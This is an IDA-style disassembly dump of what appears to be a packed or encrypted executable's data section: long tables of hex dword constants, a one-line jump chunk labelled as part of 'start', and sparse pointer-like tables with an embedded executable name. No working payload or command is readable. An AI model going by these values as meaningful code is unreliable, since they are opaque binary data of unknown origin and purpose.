		dd 982BC024h, 0FC2C6F60h, 0DDA800EDh, 0CA233DD8h, 4C12671Ah
		dd 0EC082E82h, 26188E35h, 5FAE7DE1h, 604E716Eh,	5F84E470h
		dd 872C88AAh, 0FF07E500h, 0B541DB9Ch, 405C9E7Fh, 54BF38Dh
		dd 284D2601h, 9A2B3574h, 0EFE4402Eh, 341C876h, 59B31807h
		dd 9537C4C1h, 37CCAF00h, 0A8EF3FEEh, 0E00A8C8h,	5C128ADEh
		dd 0B807D26Ch, 35F945DAh, 0F405189h, 598008DEh,	287BED2Dh
		dd 8F0E9890h, 12A4D1B9h, 0FB496840h, 421C89Eh, 794D3599h
		dd 93D4C216h, 0A861D8E2h, 0D05861A8h, 10C141EEh, 91B8D85Bh
		dd 98FDE420h, 81097ECh,	49604BA4h, 338AABD0h, 0CB430026h
		dd 8E8D9CFh, 90B9CD89h,	0C0250180h, 0B09C050Ah,	7490C9E3h
		dd 4A11FC56h, 0B325350Dh, 80B43C31h, 86269CCDh,	0A49418h
		dd 9B0917DDh, 0AA07DA90h, 237D51ADh, 0AC5129h, 0AFCA418Bh
		dd 7624184Ah, 7F01986Fh, 902C63Fh, 0B8D0882Bh, 15373Ah
		dd 0D92875D2h, 193176Ah, 41FE355Eh, 0C5668C3Fh,	38D83050h
		dd 0A4C8FF44h, 656409F0h, 1E00E58Ah, 282F1F14h,	78300A4Bh
		dd 3DBDE39Dh, 930F7444h, 0B140DB55h, 0FBDDCE90h, 39260D7Fh
		dd 8A029805h, 0F298B224h, 0AED18080h, 0F88D3894h, 0E45C8380h
		dd 977B7EF6h, 27B11650h, 27C3900h, 0CDC29B6Eh, 7948C073h
		dd 463CFD2h, 22FECBE8h,	0BD29AE00h, 6C18FC8Eh, 0DA56015Ch
		dd 926353A9h, 0E4662Ch,	76519AB4h, 0B76B5C02h, 297B6800h
		dd 9CA30F91h, 7E0340CCh, 0CBF99Dh, 6D6C1473h, 4DAEC970h
		dd 0A11B5502h, 0D29A01ABh, 0F9720068h, 6A977C0Bh, 4C09B28Dh
		dd 0D9B7397Dh, 85901CF0h, 8166764Ah, 0ECB8A610h, 0DB26E18Eh
		dd 1E4510EBh
		dd 2738C032h, 942A8080h, 0C507A833h, 64E2E567h,	419AFDF2h
		dd 40239D7Ch, 281F6800h, 0AA67E6C9h, 0DB20C095h, 12230960h
		dd 0CC1831AFh, 0A0F2576h, 61F77F63h, 6923E444h,	1DD667C4h
		dd 45B98961h, 0C26C4020h, 9840A374h, 0C135379h,	80223A34h
		dd 40C456EBh, 0EA972164h, 50871F2Dh, 4A351406h,	0FF3FCD49h
		dd 39D37585h, 377008F9h, 0FBD8880h, 0B55F5957h,	4B40D892h
		dd 7DE8EE8Fh, 0B85C34FEh, 2C27C090h, 94773h, 7AB53A15h
		dd 0B7531436h, 6AE32300h, 16E8A14Fh, 0BBF800FBh, 336D78B2h
		dd 36127F71h, 4A00B521h, 5AEEDEDCh, 964E3081h, 0C97EB919h
		dd 0B400D5E6h, 42C25F40h, 72E4981h, 0CC07BF95h,	0C9E6702Fh
		dd 4C9048A5h, 0B7939C0h, 1C2CA913h, 0F03AB17Eh,	0AA5DD719h
		dd 9FF87A02h, 40FA16F7h, 6F52818Dh, 2B22022h, 0E0C3C9A3h
		dd 0D485BEC1h, 2F00BDA3h, 12A8A06Ah, 1819D50Ah,	0E936FF2Bh
		dd 0DA00557Bh, 0AE25707Fh, 18329343h, 2133FEF6h, 0CDFCB0C2h
		dd 91CFEA00h, 132A9611h, 0F62F0094h, 214E65E3h,	0C5073D0Bh
		dd 9A92E6E5h, 0BE9D6C80h, 0AF5CA039h, 13D407F0h, 938267B2h
		dd 0DCF0F70Ah, 0BC372CC0h, 0C2B068EDh, 3BE7A451h, 0D1E053E8h
		dd 4D677163h, 0A58B4800h, 28043445h, 21B86394h,	75A89B36h
		dd 58C0C999h, 0D05161B2h, 8BEEFE2Ch, 8B3AF9A1h,	9F9631h
		dd 625E10FBh, 0F1C53D94h, 453650E4h, 5C187232h,	185E595Ah
		dd 2137FE99h, 260F0695h, 80B29B31h, 526C8CEAh, 3F61C035h
		dd 0C81C792Eh, 0C0770500h, 0E164BF93h, 73A700AFh, 0EB7ACE11h
		dd 31CF04FEh, 1E3BC094h, 4608F2h, 81824416h, 4880EBDCh
		dd 29345230h, 6ED6CF4h,	3940D69Dh, 0C48A190h, 8CCF0022h
		dd 0A21BCE5Bh, 29E80796h, 50E97602h, 0EBB0EEDCh, 0CFED951Dh
		dd 5138110Ch, 6F9B0113h, 67A69444h, 0AEA885ECh,	0A800BCD9h
		dd 0EBDF296Ah, 31396210h, 9C81ABC2h, 0F0C7B7E3h, 59E0A0F8h
		dd 0F1DCB902h, 9039A195h, 887B6BA0h, 69F02F11h,	4BC908A0h
		dd 474560C0h, 0B83C6F4Ch, 29C4FCDCh, 0A2D8B72Ch, 4869203Ch
		dd 315EE000h, 0BA2D94C2h, 0A69300EBh, 18B76764h, 0A1240D5Dh
		dd 9B60BC98h, 0FAD494B4h, 956D005Bh, 310FA19Eh,	4701135Fh
		dd 0C02E0CBEh, 0DC4853A4h, 57902C3h, 666F37F5h,	394DE898h
		dd 5AB8A901h, 0B7941A54h, 4C219A4h, 8815C85Ch, 4600500Ch
		dd 661E57E5h, 3A04AFEh,	3708FAFCh, 19E911CFh, 84E180A7h
		dd 0C4A2559Fh, 7F3C0066h, 59FC80E0h, 0E7007581h, 3BA82629h
		dd 8752A2h, 0DF55AE8Fh,	11D0C7A0h, 95E3E600h, 69436BD1h
		dd 99BC1CEFh, 8454807Ch, 17285221h, 0C51ED471h,	2546DD53h
		dd 3799119h, 6BAE705Ch,	0B7C8D673h, 7C00F6FCh, 4014031h
		dd 3395F2F4h, 81D13F9Ch, 0D15E388h, 8A4011DDh, 3D30963Bh
		dd 8F0500B3h, 0D3172C47h, 3102777Bh, 8C190468h,	0F8D88046h
		dd 5094FEA6h, 3AC289Fh,	5C0EFAB2h, 0A8B999B8h, 71D7D01Bh
		dd 0B0476F24h, 0E0B82E69h, 0DDC0CA31h, 0EC820CD5h, 68213BFEh
		dd 1801CEECh, 90C0EF8Ah, 0D8220731h, 1EEC240Fh,	0BF94A3A0h
		dd 53049B76h, 9835B4A2h, 3C334CC0h, 94609FF6h, 8E0A641Eh
		dd 90D91796h, 79118080h, 62BA5950h, 2652CA20h, 1C2DF8A1h
		dd 0F47DD1ABh, 2A03D762h, 0FC48E9A6h, 9932A8F1h, 1C511DBFh
		dd 721A8CF6h, 9F359591h, 0B807B93Eh, 51B79475h,	21CEED30h
		dd 276D0054h, 0BF96BA25h, 61004D78h, 9766E3BBh,	0DDB6AFA0h
		dd 0C4E50030h, 0E25EBCBh, 0B581950h, 0C5CD97A0h, 0FAA6B10Bh
		dd 81E701B3h, 81809439h, 0E28063BBh, 0BE0740C0h, 0D94623C6h
		dd 717219E0h, 2CC10C81h, 3C51A6A1h, 5D002C99h, 836C4A37h
		dd 718B0162h, 6FC61F57h, 66E88033h, 65AF641Ch, 41A07FAh
		dd 0C0823B56h, 0D831E9ACh, 264CD058h, 2B113877h, 0F0BB1D0Ch
		dd 1430EE69h, 0F3B71937h, 9E3304AFh, 20FFEB7Fh,	51AA1Dh
		dd 0EE23A0C5h, 0D080DF25h, 62222414h, 3F909014h, 0E9BC93B4h
		dd 0BF83E85Fh, 9815F7E1h, 1918ADDAh, 31275382h,	9B24C872h
		dd 7D7E5BF8h, 8F78F60Ch, 6E5FA57h, 169F6597h, 5C0A8066h
		dd 90BD2CDAh, 20724D42h, 0A2C12265h, 1550191Ch,	470A8407h
		dd 0ED463FE0h, 0CD0B0BDh, 25FDEBF6h, 3258FE79h,	0FFCB8020h
		dd 0AD4E92h, 8077E71Dh,	0F80C8FD5h, 0E21E287Fh,	0F0304721h
		dd 90B996C3h, 0EE1800A8h, 0AC68DA71h, 0C800C493h, 4AC2CF08h
		dd 0C095397Fh, 24B72299h, 8A004251h, 5920ED23h,	3CA777CBh
		dd 0DC0B34C9h, 0CC18FEA0h, 0CAF20E70h, 0CFB6F601h, 449CFAE6h
		dd 7F0D7084h, 0C9808CF5h, 0CDBE90Bh, 84CB800Eh,	7E3B17h
		dd 8550EE0Fh, 0D1470534h, 0E9822890h, 0DCD49820h, 8601E0B6h
		dd 6F9A9029h, 0B462FE3Bh, 387BA800h, 8571E6D4h,	0D8372F00h
		dd 1A319651h, 0DBA1C165h, 605FAA8Fh, 7D01BF46h,	16F40DFAh
		dd 99871E53h, 105A510Eh, 0D45B18A3h, 3B802E01h,	0D9CBB443h
		dd 0C0596831h, 0C37F6047h, 26099D94h, 40CC1819h, 0F8264C52h
		dd 1C42CB05h, 0CEC00C7Ch, 19AA11Bh, 75B5C83Fh, 7270317Bh
		dd 6F953DFCh, 0D81E1289h, 46FF8002h, 7C4453h, 0A20F3F82h
		dd 0CE2A551Fh, 86494C04h, 14C2315Dh, 0EEC51078h, 48C069ECh
		dd 0B45AF851h, 7CED4C81h, 0D8B3D5C0h, 640EC2F2h, 12AA2CC7h
		dd 0D8E0780Ah, 0D3430E01h, 9E101E52h, 6802AA3Eh, 0F7635AC8h
		dd 60C0828Dh, 6A8C997h,	0F5D0EBF1h, 775E7DE5h, 9116F07Bh
		dd 0C2F880CCh, 3955477Dh, 48A9AA60h, 6A60C9h, 5A7F9998h
		dd 75C544A5h, 4EB0CB00h, 0AF5DFB0Fh, 8DE20A96h,	80ACA417h
		dd 0D205F02h, 6007908h,	6D0BB65Ch, 7CB12C3Dh, 0D41C136Ah
		dd 5DD00196h, 4839A73Eh, 0CD0011B0h, 0B7CBC094h, 13A6C4Bh
		dd 0EBE68090h, 23D1488Eh, 2C007EECh, 0B0F6FEC7h, 65308Fh
		dd 1A903842h, 62AC2A39h, 5381480Ah, 8400181Fh, 10CAEF6Ah
		dd 4F3000E4h, 1E33C632h, 0B9C0B6BEh, 0A593B33Bh, 9CF4A33Eh
		dd 280F2859h, 60778FA0h, 90015CECh, 92B78AFh, 18640381h
		dd 343A8410h, 20DFA205h, 0C4EB7DBh, 6552EE9Ah, 0E082CAC8h
		dd 0EC5860DEh, 0B6DF0B4Ch, 50245817h, 0F89F40EDh, 1A40986h
		dd 589C41CCh, 9E807D3Fh, 0BF076B84h, 21802639h,	6E2D3Dh
		dd 239FDA11h, 0EBB66D72h, 0C04C7948h, 9BE5C374h, 18101FA7h
		dd 0B28800B3h, 0F4AAE8A6h, 0D8960F3Dh, 34D68734h, 5D49B7A0h
		dd 35CA0C1Ah, 45491C52h, 0A0D4C400h, 8EFB1614h,	5C0A3FDBh
		dd 0DC85D30Eh, 0F775EEE0h, 0BF01672Ch, 0C438B360h, 45F0E981h
		dd 150D7C41h, 0F8A83947h, 1599FE00h, 0E477C452h, 82AE870Fh
		dd 67F200B3h, 2E799C63h, 30C9DC03h, 0C51BCA31h,	94092000h
		dd 45B37EF1h, 0EDC0005Eh, 0E7FF85DFh, 6F01AC8Ah, 219BE110h
		dd 40CAB95Fh, 261A80h, 9A82C368h, 0A11DB037h, 82F19C6Ch
		dd 0F6E1C028h, 40D7E80Eh, 0D6134100h, 5322C99Ah, 98650312h
		dd 0DBA72161h, 78B59388h, 39F8FA01h, 815270F3h,	0B0E030h
		dd 96E2D179h, 0F5B218A6h, 623B7C00h, 0DAC964E3h, 0B0F701B6h
		dd 0CF32DC84h, 1F90DCFBh, 0BF3F93F8h, 4F820268h, 51839516h
		dd 0CB451D3Ch, 8804696h, 0C3DE4AF6h, 0EEF370EDh, 0CE01B603h
		dd 0D74C55FCh, 0FEE09049h, 0F441C034h, 7D965C9h, 0E90EBC00h
		dd 91BFAC32h, 0CDEB0054h, 3D6F470Fh, 0E80233F1h, 7A17927h
		dd 0EB95C00Ch, 802C9895h, 5C25F44h, 0F304AA1Bh,	0EF70D0E1h
		dd 0AC2602F2h, 968538B1h
		dd 78C068AFh, 241181EAh, 406818E5h, 91058BCh, 82CD760Fh
		dd 2CEF2023h, 30E599E2h, 0DE90F1E9h, 6C5C6F71h,	796911F4h
		dd 98C5DC1Bh, 41E78D99h, 2C801184h, 5BE60114h, 4E4F66DAh
		dd 23002432h, 9270DCBBh, 0DB0C8306h, 0C90E15C0h, 3CD1014Ah
		dd 6E6579A3h, 1BCE40ADh, 2150D0E4h, 421203C6h, 70D015C9h
		dd 5BC538Eh, 4FCA29BBh,	0F8C405B0h, 0AB4432Dh, 0E100EC18h
		dd 484EEF25h, 0B44D7h, 0A0DF8E06h, 0ED95D1EAh, 0FBF8101Ch
		dd 0AE2CB503h, 0E05FE852h, 7DB0267Fh, 2A31606Ch, 0A83E55D6h
		dd 5C808072h, 9A2D2283h, 0D5A3241Ch, 0C210060h,	0DAE485C5h
		dd 1700F4A6h, 0C42A4446h, 0F07F4h, 11B5F37h, 96E3E61Fh
		dd 10B04850h, 543E3203h, 70FFCB6h, 0CA66A80Eh, 0AB3CC2AAh
		dd 2D6FA0A0h, 20007FF2h, 85955C6Ah, 0F5358733h,	4E70D0D7h
		dd 39E918CFh, 0AB0E317Dh, 155B9D00h, 94697FE7h,	203C4E9Ch
		dd 3D7D0CD8h, 0C82C60B8h, 4803BDA0h, 88D906B2h,	54F3EB5Ch
		dd 4B668050h, 60604017h, 0B3094C8Dh, 71702400h,	0E9849B27h
		dd 0BD3200CFh, 93C4162Ch, 0AF293BA8h, 4000F0FFh, 0CAD8221Ah
		dd 0F87B037Eh, 45121DF3h, 69D2BCB8h, 0C2A23812h, 0E63774C8h
		dd 0B0D10191h, 74AB6458h, 0F232CC2Fh, 9CA8403Fh, 9E00B3CDh
		dd 904339A0h, 107F0288h, 15EBEC14h, 3FE5C72h, 9433EFh
		dd 0AE955F54h, 476AF3h,	0DDB239Ch, 3C748EDDh, 8B4E753Bh
		dd 48FEC5E7h, 7D34440h,	0F3978E2Bh, 6E313279h, 66B584A0h
		dd 0C109C8B7h, 837C4FD4h, 0B802ED10h, 77803FBh,	829ADDE8h
		dd 0C9ABC581h, 74304020h, 187C8F77h, 1935B832h,	4268EC32h
		dd 50A600B9h, 0BD74E545h, 9809D19h, 21439997h, 39F60B02h
		dd 5AFFA5EEh, 79E01DCh,	0D1776F82h, 69F4F868h, 950EFA02h
		dd 421DAE5Bh, 0A898034h, 9492B5E1h, 0B8193E08h,	3434D9F4h
		dd 0C09C07A4h, 2FC0441h, 4A8F9F4h, 6EFDCDAh, 95908CE0h
		dd 0D3FC2A01h, 9B3B6739h, 16089FC0h, 3AE6B06h, 0EA18A1DBh
		dd 0BB286100h, 5946F02h, 276938C0h, 0FEE9A20Eh,	58CA6BA1h
		dd 97BFF885h, 0A1091500h, 34EE0E61h, 55893CC9h,	0F36FFC60h
		dd 28B453D4h, 77007596h, 0E9F14CBh, 0A3D00EECh,	0FEE9ED12h
		dd 42F54883h, 739D9599h, 3C117520h, 0A20030FFh,	0F808C2FBh
		dd 330E45EBh, 2AFAA3E2h, 8828580Ah, 60FF3944h, 871C3931h
		dd 8A00737Fh, 34E2AD48h, 0FA1B470Ah, 0C3E826D0h, 1D5501C8h
		dd 725278AAh, 2003747Ch, 618FD504h, 7825DAC2h, 903D3AC8h
		dd 2E7B9D4Ch, 4C87A40h,	0D0F21929h, 0EEA5FDACh,	3DB69518h
		dd 93B9B81h, 6D31895Eh,	0C1CCF0E8h, 0EE1B5580h,	0D43CA816h
		dd 9DFD1E0Bh, 0B44B4291h, 8721970h, 6106AD7Ch, 919B9F11h
		dd 0FA784450h, 64F20224h, 0BB0CB408h, 738020DAh, 0B2004C19h
		dd 44FCA1D6h, 0FCBF9738h, 9F882C6Bh, 0ADE8030Ch, 5828C89Eh
		dd 10005476h, 0DF67B6E2h, 0CF503EFh, 85180F11h,	103E691h
		dd 0C2DEDCAEh, 0D9B4D0C7h, 0E1BD0A4Fh, 18682053h, 80C0DE8Ch
		dd 0A86CB83Bh, 0E271944Ch, 1F40E4Ch, 66626FC8h,	0B8EF97B6h
		dd 0E4FA16D7h, 0DA8100A4h, 0BBABBF8Dh, 0E92464BEh, 48402852h
		dd 3FD64FC6h, 13805B7Eh, 0C456B0Fh, 81009F8Fh, 0E0E8A0DCh
		dd 89219C95h, 1406147h,	22BE1D4Ch, 0FDC500A8h, 0C2BFDBF0h
		dd 22334B72h, 0B4C0DAACh, 6CB1C5B4h, 25239980h,	520CE4Bh
		dd 164794EAh, 1198B0DBh, 0B3A0E101h, 0CF62E2FEh, 0A10FC023h
		dd 0D3C06EB6h, 9AF55860h, 98E90401h, 8DD0147Fh,	4404B6A8h
		dd 6400BF1Dh, 0D186954Eh, 9BE6C11h, 0CA4615EFh,	0B6C4AE00h
		dd 491B26FBh, 0C0F0449Ch, 0C15CF8h, 45364A96h, 3F6C462Ch
		dd 4906D490h, 8819B9E7h, 33E903F1h, 0B1D6AEBAh,	0D125F080h
		dd 2DCAA909h, 0D09C1B92h, 3351D0Fh, 0F6F574E1h,	0B2E8A2E5h
		dd 912C967Dh, 0B0398C14h, 0A794B103h, 4CC14C3Bh, 17E57D7Ah
		dd 873F3787h, 0F81D374h, 62FF74F9h, 0BE63B70h, 8715B949h
		dd 16855121h, 29EFDC00h, 39CCFDCBh, 1D2DBD2h, 60FBFFFFh
		dd 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_5394BD:				; CODE XREF: start:loc_4DE265j
					; DATA XREF: start:loc_4DE086o
		jmp	loc_53C836
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		dd 4B660000h, 57h, 4 dup(0)
		dd 999E0000h, 1178FFA7h, 59h, 2	dup(0)
		dd 0D2E30000h, 53h, 2 dup(0)
		dd 9F70000h, 6CE1009Fh,	80A3809Dh, 0CDA6h, 73160000h, 0C3DF00A1h
		dd 406Dh, 3 dup(0)
		dd 5ECC0000h, 850B77DDh, 57h, 0
		dd 22920000h, 9Fh, 0
		dd 69DD0000h, 0B5E2009Fh, 68548A0Fh, 64696D65h,	61h, 1Fh dup(0)
		dd 6F110000h, 1161h, 9D100000h,	56h, 1Eh dup(0)
		dd 0FEF00000h, 10h dup(0)
		dd 0E1A0000h, 5Ah, 0BC0000h, 2 dup(0)
		dd 0E24F0000h, 0FADFh, 4 dup(0)
		dd 9FA00000h, 0FFFFh, 4	dup(0)
		dd 3040000h, 7FFEh, 32h	dup(0)
		dd 9E480000h, 77E7h, 58840000h,	7E4Ch, 0
		dd 32380000h, 0FFA9h, 2	dup(0)
		dd 3040000h, 0B87FFEh, 0B000000h, 0C20374C0h, 448B0018h
		dd 0E8530C24h, 0
		dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 9FA037B8h
		dd 8BE0FF00h, 0FF042444h, 0E0h,	12h dup(0)
		dd 1D4C0000h, 160h, 9 dup(0)
		dd 2BCF0000h, 144Fh, 0
		dd 0C56F0000h, 0FFFFh, 8 dup(0)
		dd 21600000h, 77E8h, 19h dup(0)
		dd 6B3D0000h, 0C40000h,	2 dup(0)
		dd 4, 0
		dd 9D8D0000h, 0BE9h, 0CC220000h, 0FFA8h, 3 dup(0)
		dd 0A2240000h, 5005FF58h, 417CDDB3h, 77E8h, 4 dup(0)
		dd 0D6EE0000h, 53h, 2 dup(0)
		dd 6DBC0000h, 5Ah, 3040000h, 0Ch dup(0)
		dd 0A67E0000h, 53h, 5 dup(0)
		dd 506E0000h, 5322h, 0FE40000h,	5 dup(0)
		dd 0B1820000h, 0B555h, 0Bh dup(0)
		dd 6A770000h, 0
		dd 0FFFF0000h, 0BFh, 86B80000h,	5Ah, 3 dup(0)
		dd 98420000h, 2DF58048h, 10000h, 0DBA0000h, 0A5E70059h
		dd 0A3h, 4 dup(0)
		dd 38E40000h, 12FBh, 3 dup(0)
		dd 15680000h, 314500A0h, 9Fh, 170000h, 0FEF80000h, 5Ah
		dd 4 dup(0)
		dd 0ABAE0000h, 93934F99h, 9Fh, 0FCFC0000h, 0E626FFFFh
		dd 0E62Ch, 0
		dd 0FFFF0000h, 0FFFFh, 5 dup(0)
		dd 0FEF00000h, 2 dup(0)
		dd 3E0000h, 0BFh, 8EA00000h, 57h, 0Ah dup(0)
		dd 2 dup(10000h), 5 dup(0)
		dd 0FCFC0000h, 0A800A181h, 0A7120003h, 53h, 7 dup(0)
		dd 388B0000h, 0FF301FDDh, 0CC1Ch, 5 dup(0)
		dd 144C0000h, 0
		dd 900000h, 2 dup(0)
		dd 3F7B0000h, 0D7410056h, 57h, 6 dup(0)
		dd 0E8F30000h, 3 dup(0)
		dd 3040000h, 0EBB37FFEh, 77F7h,	2 dup(0)
		dd 0AEEE0000h, 53h, 0Ah	dup(0)
		dd 3040000h, 7FFEh, 8 dup(0)
		dd 1050000h, 0A28h, 4 dup(0)
		dd 0ADh, 7 dup(0)
		dd 7B50000h, 6AF4h, 3 dup(0)
		dd 4F70000h, 0FFB0005Ah, 20Fh, 3 dup(0)
		dd 0CDAE0000h, 56h, 6 dup(0)
		dd 7D10000h, 3 dup(0)
		dd 0B1A70000h, 0Ch, 9 dup(0)
		dd 21600000h, 77E8h, 4 dup(0)
		dd 32680000h, 0A0h, 88490000h, 59h, 0C3B60000h,	0FFFFh
		dd 4 dup(0)
		dd 3040000h, 7FFEh, 0Eh	dup(0)
		dd 3040000h, 7FFEh, 9BAC0000h, 0A1h, 390000h, 566C0000h
		dd 0FD9Dh, 93EF0000h, 77E7h, 2 dup(0)
		dd 840000h, 0EBF60000h,	0A5FD0057h, 77E7h, 0
		dd 544F0000h, 0FE6FD32h, 9Eh, 0
		dd 0A28F0000h, 40056h, 0
		dd 2B980000h, 4B7A005Ah, 3 dup(0)
		dd 0E8F30000h, 4 dup(0)
		dd 3040000h, 2D057FFEh,	21C7h, 7 dup(0)
		dd 2E070000h, 0DE850057h, 2 dup(0)
		dd 64770000h, 5Ah, 91D90000h, 51DA8164h, 0AEBFh, 8 dup(0)
		dd 64D0000h, 8D89h, 0F4F0000h, 304904Fh, 7FFEh,	2 dup(0)
		dd 7FD80000h, 0A1h, 0
		dd 0C1780000h, 1, 2 dup(0)
		dd 3040000h, 7FFEh, 5 dup(0)
		dd 0FEF80000h, 0FFA4005Ah, 12h,	5 dup(0)
		dd 2C4B0000h, 304FFFFh,	7FFEh, 0FE40000h, 0FF540000h, 12h
		dd 3 dup(0)
		dd 27550000h, 0D70677E8h, 77E6h, 0D0510000h, 0F0B30000h
		dd 58h,	0Ch dup(0)
		dd 69860000h, 826Fh, 3 dup(0)
		dd 6B3D0000h, 8	dup(0)
		dd 82E60000h, 92342BD8h, 22D8009Fh, 0A0h, 2 dup(0)
		dd 0C96A0000h, 77D4h, 0A3D70000h, 57h, 2 dup(0)
		dd 2DF50000h, 57h, 17h dup(0)
		dd 0ABA40000h, 3040059h, 73B07FFEh, 0A67E7A66h,	53h, 0CFC80000h
		dd 2BCFE0BAh, 57h, 2 dup(0)
		dd 0F42B0000h, 7A4Eh, 0
		dd 0FF540000h, 12h, 6 dup(0)
		dd 5C860000h, 57h, 2 dup(0)
		dd 59780000h, 5Ah, 8 dup(0)
		dd 0FFA40000h, 12h, 0
		dd 9FA00000h, 0FFFFh, 0D8960000h, 57h, 0
		dd 21600000h, 77E8h, 700000h, 15h dup(0)
		dd 705B0000h, 0
		dd 980000h, 0
		dd 97A0000h, 58h, 0
		dd 6B3D0000h, 8D8D0000h, 703Ah,	5 dup(0)
		dd 69DD0000h, 9Fh, 3 dup(0)
		dd 0EA430000h, 0C000059h, 2 dup(0)
		dd 9C0000h, 0D7220000h,	5Ah, 70C40000h,	9Fh, 0
		dd 62B50000h, 2	dup(0)
		dd 0A00F0000h, 898h, 0
		dd 0E90000h, 4,	2 dup(0)
		dd 0FEF80000h, 5Ah, 0
		dd 800000h, 0
		dd 0CC5F0000h, 0D082FFA9h, 0FFA6h, 0
		dd 64B50000h, 7738h, 2 dup(0)
		dd 0ABAE0000h, 4F99h, 0
		dd 588C0000h, 7E4Ch, 2 dup(0)
		dd 0C7960000h, 53h, 2 dup(0)
		dd 0C4B30000h, 2424D818h, 2424h, 4 dup(0)
		dd 0A0000000h, 4935001Bh, 770Bh, 2 dup(0)
		dd 3AA00000h, 0B935FE0Dh, 0D79Eh, 9 dup(0)
		dd 749B0000h, 0FD93h, 0
		dd 0A8A70000h, 282Ch, 0
		dd 0ECF00000h, 0A28F800Ah, 56h,	0D4910000h, 0AF4077C4h
		dd 0FFFEh, 1E0F0000h, 9CFFA8h, 12h dup(0)
		dd 3E3B0000h, 9Fh, 9DF0000h, 3040000h, 17FFEh, 5 dup(0)
		dd 20000h, 0
		dd 230000h, 57h, 5 dup(0)
		dd 0FD6E0000h, 12h, 0
		dd 0A71F0000h, 103BF8F6h, 59h, 0
		dd 77E6h, 47210000h, 4 dup(0)
		dd 0B5E20000h, 8A0Fh, 5	dup(0)
		dd 21210000h, 2121h, 2 dup(0)
		dd 740000h, 30DF0000h, 0A9C5h, 5 dup(0)
		dd 0AC2E0000h, 6 dup(0)
		dd 0E0140000h, 4Dh, 6 dup(0)
		dd 0C0000h, 240h, 7 dup(0)
		dd 67770000h, 0Eh dup(0)
		dd 0FFE00000h, 0C6D70012h, 25Ah, 8 dup(0)
		dd 1E660000h, 0CED1h, 3	dup(0)
		dd 0F92D0000h, 0FFA4h, 2 dup(0)
		dd 0EA130000h, 59h, 5 dup(0)
		dd 34300000h, 312Dh, 4 dup(0)
		dd 0B0000000h, 0Dh, 6 dup(0)
		dd 67770000h, 0
		dd 35B0000h, 0
		dd 7A170000h, 800Bh, 2 dup(0)
		dd 69DD0000h, 9Fh, 4 dup(0)
		dd 0E8F30000h, 3 dup(0)
		dd 76EA0000h, 0
		dd 0A00F0000h, 9Fh, 0
		dd 915B0000h, 9Fh, 30DF0000h, 0A9C5h, 1Bh dup(0)
		dd 587E0000h, 0FFACh, 3040000h,	58h, 0C3AE0000h, 0FFA9h
		dd 6 dup(0)
		dd 7FFEh, 2 dup(0)
		dd 0BE750000h, 186Ch, 2	dup(0)
		dd 41D60000h, 0FCD2h, 0AE630000h, 18h, 3 dup(0)
		dd 257C0000h, 2FE5Fh, 0
		dd 0FFFF0000h, 0FFFFh, 2 dup(0)
		dd 7A480000h, 3040000h,	7FFEh, 2 dup(0)
		dd 6B3D0000h, 36630000h, 58h, 0Ah dup(0)
		dd 880000h, 0D20B0000h,	0FFA8h,	0
		dd 0FCFC0000h, 8001h, 0
		dd 230F0000h, 0
		dd 2FE80000h, 77E8h, 2 dup(0)
		dd 3F80000h, 2DF50000h,	57h, 5 dup(0)
		dd 777B0000h, 0C76h, 3 dup(0)
		dd 46A70000h, 5CB533FCh, 77E7h,	8 dup(0)
		dd 0AB5F0000h, 7FB6h, 2	dup(0)
		dd 69510000h, 73D4h, 7 dup(0)
		dd 2BDE0000h, 9Fh, 0
		dd 4E130000h, 30DF362Eh, 0A9C5h, 0
		dd 71E90000h, 658Ch, 0Ah dup(0)
		dd 22D80000h, 0A0h, 3 dup(0)
		dd 40h,	4 dup(0)
		dd 0B5E20000h, 8A0Fh, 0DD130000h, 56h, 6B3D0000h, 6C0000h
		dd 2 dup(0)
		dd 77E6h, 67540259h, 7 dup(0)
		dd 0AEEE0000h, 53h, 0Ch	dup(0)
		dd offset dword_43C25C+3DA4h
		dd 2 dup(0)
		dd 2DF50000h, 57h, 4 dup(0)
		dd 0D5540000h, 9Eh, 6D30000h, 5Bh, 0F0B30000h, 58h, 0CA50000h
		dd 147h, 3 dup(0)
		dd 8D530000h, 0C79600A3h, 53h, 0AF400000h, 0FFFEh, 0
		dd 3040000h, 7FFEh, 0
		dd 2DF50000h, 57h, 2 dup(0)
		dd 6CE10000h, 809Dh, 4 dup(0)
		dd 5BEE0000h, 6112h, 0Eh dup(0)
		dd 0B1340000h, 0A1h, 3 dup(0)
		dd 0FFB00000h, 13Fh, 3 dup(0)
		dd 9FDD0000h, 0BD4AFFFFh, 0FF49h, 3 dup(0)
		dd 0A28F0000h, 56h, 4 dup(0)
		dd 0D1C00000h, 57h, 0
		dd 65520000h, 72617473h, 70704174h, 6578652Eh, 8 dup(0)
		dd 0F80000h, 77E6h, 0B4FF0000h,	53h, 2 dup(0)
		dd 8C0A0000h, 9Fh, 9FA00000h, 0FFFFh, 0
		dd 0DEA0000h, 94Eh, 0
		dd 5EB60000h, 57h, 3 dup(0)
		dd 0FEF80000h, 5Ah, 2 dup(0)
		dd 3D1B0000h, 57h, 2 dup(0)
		dd 69DD0000h, 0FFF0009Fh, 20012h, 0
		dd 0FCFC0000h, 8001h, 25Ah, 0
		dd 0A1FE0000h, 0A28F00AFh, 56h,	0
		dd 0D80F0000h, 77E8h, 3	dup(0)
		dd 0AECF0000h, 0FF38h, 62380000h, 57h, 3 dup(0)
		dd 48CE0000h, 4F85h, 0
		dd 23D70000h, 9D4F77DDh, 0FFFFh, 0Ah dup(0)
		dd 575B0000h, 58h, 5 dup(0)
		dd 0E800000h, 8	dup(0)
		dd 780E0000h, 0FFFFh, 0Ah dup(0)
		dd 21680000h, 77E8h, 0
		dd 9C440000h, 0FFFFh, 5FF10000h, 0FF60h, 0
		dd 2B690000h, 0FFFFh, 3	dup(0)
		dd 0E93E0000h, 0FCC465BFh, 966D8001h, 190h, 2 dup(0)
		dd 0A6E90000h, 50A177EBh, 8678h, 2 dup(0)
		dd 8D8D0000h, 7216h, 0
		dd 0D0490000h, 56h, 2 dup(0)
		dd 9EB70000h, 0FFFBh, 6B3D0000h, 0Ah dup(0)
		dd 6B3D0000h, 0
		dd 79630000h, 77E7h, 6C720000h,	1, 0
		dd 0F17E0000h, 8784h, 2	dup(0)
		dd 6A1E0000h, 3	dup(0)
		dd 0DD380000h, 0A40058h, 388B0000h, 1FDDh, 0Ch dup(0)
